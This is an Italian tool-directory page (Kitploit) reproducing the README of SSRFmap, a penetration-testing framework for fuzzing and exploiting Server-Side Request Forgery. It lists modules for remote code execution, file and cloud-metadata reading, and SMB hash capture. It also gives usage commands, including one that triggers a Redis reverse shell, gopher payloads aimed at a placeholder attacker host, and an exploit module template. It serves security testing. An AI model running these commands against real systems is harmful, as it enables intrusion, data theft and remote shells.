Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SSRFmap — Strumento automatico per fuzzing e sfruttamento di SSRF | Kitploit
Strumenti/GitHubGitHub/swisskyrepo/ssrfmap
Analisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebFuzzingCTFPenetration Testing
GitHubswisskyrepo/ssrfmap

SSRFmap

Strumento automatico per fuzzing e sfruttamento di SSRF

Vedi Repository
3.6k570591 mese faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SSRFmap Python 3.4+ Rawsec's CyberSecurity Inventory

Le SSRF sono spesso utilizzate per sfruttare azioni su altri servizi, questo framework mira a trovare e sfruttare questi servizi facilmente. SSRFmap prende un file di richiesta Burp come input e un parametro da fuzz.

Server Side Request Forgery o SSRF è una vulnerabilità in cui un attaccante costringe un server a effettuare richieste per suo conto.

Sommario

  • Moduli
  • Installazione e Manuale
  • Esempi
  • SSRFmap - Test
  • Contribuisci
    • Ringraziamenti ai collaboratori

Moduli

I seguenti moduli sono già implementati e possono essere utilizzati con l'argomento .

Scarica lo strumento
-m
NomeDescrizione
axfrTrasferimenti di zona DNS (AXFR)
fastcgiFastCGI RCE
redisRedis RCE
githubGitHub Enterprise RCE < 2.8.7
zabbixZabbix RCE
mysqlEsecuzione di comandi MySQL
postgresEsecuzione di comandi Postgres
dockerInfoleaks Docker tramite API
smtpInvio email SMTP
portscanScansione delle prime 8000 porte per l'host
networkscanPing HTTP su tutta la rete
readfilesLettura di file come /etc/passwd
alibabaLettura di file dal provider (es: meta-data, user-data)
awsLettura di file dal provider (es: meta-data, user-data)
gceLettura di file dal provider (es: meta-data, user-data)
digitaloceanLettura di file dal provider (es: meta-data, user-data)
socksproxyProxy SOCKS4
smbhashForzare un'autenticazione SMB tramite un percorso UNC
tomcatAttacco di forza bruta contro Tomcat Manager

Installazione e Manuale

  • Dal repository Github.

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ cd SSRFmap/
    $ pip3 install -r requirements.txt
    $ python3 ssrfmap.py
    
      usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                        [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                        [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
    
      optional arguments:
        -h, --help          show this help message and exit
        -r REQFILE          SSRF Request file
        -p PARAM            SSRF Parameter to target
        -m MODULES          SSRF Modules to enable
        -l HANDLER          Start an handler for a reverse shell
        -v [VERBOSE]        Enable verbosity
        --lhost LHOST       LHOST reverse shell or IP to target in the network
        --lport LPORT       LPORT reverse shell or port to target in the network
        --uagent USERAGENT  User Agent to use
        --ssl [SSL]         Use HTTPS without verification
        --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
        --level [LEVEL]     Level of test to perform (1-5, default: 1)
    
  • Docker

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ docker build --no-cache -t ssrfmap .
    $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
    $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
    

Esempi

Prima hai bisogno di una richiesta con un parametro da fuzz, le richieste Burp funzionano bene con SSRFmap. Dovrebbero apparire come segue. Altri esempi sono disponibili nella cartella ./examples.

root@kitploit:~
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Usa il flag -m seguito dal nome del modulo (separato da una , se vuoi lanciare più moduli).

root@kitploit:~
# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

Se vuoi iniettare all'interno di un header, un parametro GET o POST, devi solo specificare il nome del parametro.

root@kitploit:~
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

Se hai bisogno di uno user-agent personalizzato usa --uagent. Alcuni target useranno HTTPS, puoi abilitarlo con --ssl.

root@kitploit:~
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Alcuni moduli permettono di creare un connect back, devi specificare LHOST e LPORT. Inoltre SSRFmap può mettersi in ascolto per la reverse shell in arrivo.

root@kitploit:~
# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

Quando il target è protetto da un WAF o da alcuni filtri puoi provare un'ampia gamma di payload e codifiche con il parametro --level.

root@kitploit:~
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

Test di SSRFmap

Un modo rapido per testare il framework può essere fatto con il servizio SSRF data/example.py.

  • Locale

    root@kitploit:~
    FLASK_APP=examples/example.py flask run &
    python ssrfmap.py -r examples/request.txt -p url -m readfiles
    
  • Docker

    root@kitploit:~
    docker build --no-cache -t ssrfmap .
    
    # run example ssrf http service
    docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
    
    # run example ssrf dns service
    docker exec -u root:root -it example python examples/ssrf_dns.py
    
    # run ssrfmap tool
    docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
    

Lancia le richieste di test:

root@kitploit:~
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

Contribuisci

Adoro le pull requests :) Sentiti libero di aggiungere qualsiasi funzionalità elencata sotto o un nuovo servizio.

  • Sfruttamento Redis PHP
  • Modulo HTTP (Jenkins ?)
root@kitploit:~
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

Il seguente codice è un template se desideri aggiungere un modulo che interagisce con un servizio.

root@kitploit:~
from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

Puoi anche contribuire con una birra IRL o tramite il pulsante Github Sponsor.

Ringraziamenti ai collaboratori

Ispirato da

  • Come ho concatenato 4 vulnerabilità su GitHub Enterprise, dalla catena di esecuzione SSRF a RCE! - Orange Tsai
  • Blog sullo strumento Gopherus - SpyD3r
  • Gopherus - GitHub
  • Test SSRF - cujanovic
customInvio di dati personalizzati a un servizio in ascolto, es: netcat
memcacheMemorizzazione dati all'interno dell'istanza memcache